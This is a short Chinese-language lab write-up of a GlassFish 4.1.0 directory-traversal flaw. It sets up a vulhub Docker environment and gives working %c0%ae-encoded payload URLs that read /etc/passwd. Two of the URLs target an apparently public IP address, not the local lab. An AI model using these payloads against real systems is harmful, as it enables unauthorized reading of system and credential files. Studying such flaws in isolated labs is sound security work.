GlassFish 任意文件读取漏洞

glassfish是一款java编写的跨平台的开源的应用服务器。

java语言中会把%c0%ae解析为uC0AE，最后转义为ASCCII字符的.（点）。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转，达到目录穿越、任意文件读取的效果。

这里使用4.1.0版本

使用vulhub

cd /vulhub/glassfish/4.1.0

(rootguiltyfet)-[/home/guiltyfet/vulhub/glassfish/4.1.0]
└─# docker-compose up -d
Creating network "410_default" with the default driver
Pulling glassfish (vulhub/glassfish:4.1)...
4.1: Pulling from vulhub/glassfish
c73ab1c6897b: Pull complete
1ab373b3deae: Pull complete
b542772b4177: Pull complete
57c8de432dbe: Pull complete
da44f64ae999: Pull complete
0bbc7b377a91: Pull complete
1b6c70b3786f: Pull complete
d9bbcf733166: Pull complete
b1d3e8de8ec6: Pull complete
f9b500de9875: Pull complete
ae2e4db4d935: Pull complete
Digest: sha256:45966fa41d1e16dc4dcc0d6dcb0e647396cf46cb554928ec8186b998d5fac8e9
Status: Downloaded newer image for vulhub/glassfish:4.1
Creating 410_glassfish_1 ... done

https://127.0.0.1:4848/

https://127.0.0.1:4848/theme/meta-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

http://101.230.222.122:9002/Config/index.php?f=…/…/…/…/…/…/etc/passwd

http://101.230.222.122:9002/Config/index.php?f=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
关闭镜像
docker-compose down